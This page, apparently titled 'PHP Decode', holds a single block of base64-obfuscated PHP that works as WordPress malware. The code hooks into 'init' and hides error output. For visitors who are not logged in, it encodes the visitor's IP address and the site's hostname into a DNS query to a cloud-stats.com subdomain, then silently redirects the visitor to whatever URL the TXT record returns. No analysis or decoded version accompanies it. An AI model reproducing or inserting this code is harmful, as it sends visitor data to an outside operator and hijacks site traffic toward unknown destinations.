PHP Decode

<?  if(!function_exists(base64_decode('X3JlZA=='))){error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),0);function _is_mobile(){return preg_match(base64_decode('LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p'),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _is_iphone(){return preg_match(base64_decode('LyhpcGhvbmV8aXBvZCkvaQ=='),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _user_ip(){foreach(array(base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),base64_decode('SFRUUF9DTElFTlRfSVA='),base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),base64_decode('SFRUUF9YX0ZPUldBUkRFRA=='),base64_decode('SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ'),base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),base64_decode('SFRUUF9GT1JXQVJERUQ='),base64_decode('UkVNT1RFX0FERFI='))as $c0){if(array_key_exists($c0,$_SERVER)&&!empty($_SERVER[$c0])){foreach(explode(base64_decode('LA=='),$_SERVER[$c0])as $q1){$q1=trim($q1);if(filter_var($q1,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $q1;}}}}return false;}function _red(){if(!is_user_logged_in()){$q1=_user_ip();if(!$q1){return;}$k2=get_transient(base64_decode('ZXhw'));if(!is_array($k2)){$k2=array();}foreach($k2 as $g3=>$l4){if(time()-$l4>86400){unset($k2[$g3]);}}if(key_exists($q1,$k2)&&(time()-$k2[$q1]<86400)){return;}$y5=filter_var(parse_url(base64_decode('aHR0cHM6Ly8=').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN);$v6=str_replace(base64_decode('Og=='),base64_decode('LQ=='),$q1);$v6=str_replace(base64_decode('Lg=='),base64_decode('LQ=='),$v6);$h7=_is_iphone()?base64_decode('aQ=='):base64_decode('bQ==');$o8=(!$y5?base64_decode('dW5rLmNvbQ=='):$y5).base64_decode('Lg==').(!$v6?base64_decode('MC0wLTAtMA=='):$v6).base64_decode('Lg==').mt_rand(100000,999999).base64_decode('Lg==').(_is_mobile()?base64_decode('bg==').$h7:base64_decode('bmQ=')).base64_decode('LmNsb3VkLXN0YXRzLmNvbQ==');$u9=dns_get_record($o8,DNS_TXT);if(is_array($u9)&&!empty($u9)){if(isset($u9[0][base64_decode('dHh0')])){$u9=$u9[0][base64_decode('dHh0')];$u9=base64_decode($u9);if($u9==base64_decode('ZXJy')){$k2[$q1]=time();set_transient(base64_decode('ZXhw'),$k2);}else if(substr($u9,0,4)===base64_decode('aHR0cA==')){$k2[$q1]=time();set_transient(base64_decode('ZXhw'),$k2);wp_redirect($u9);exit;}}}}}add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));} 
 ?>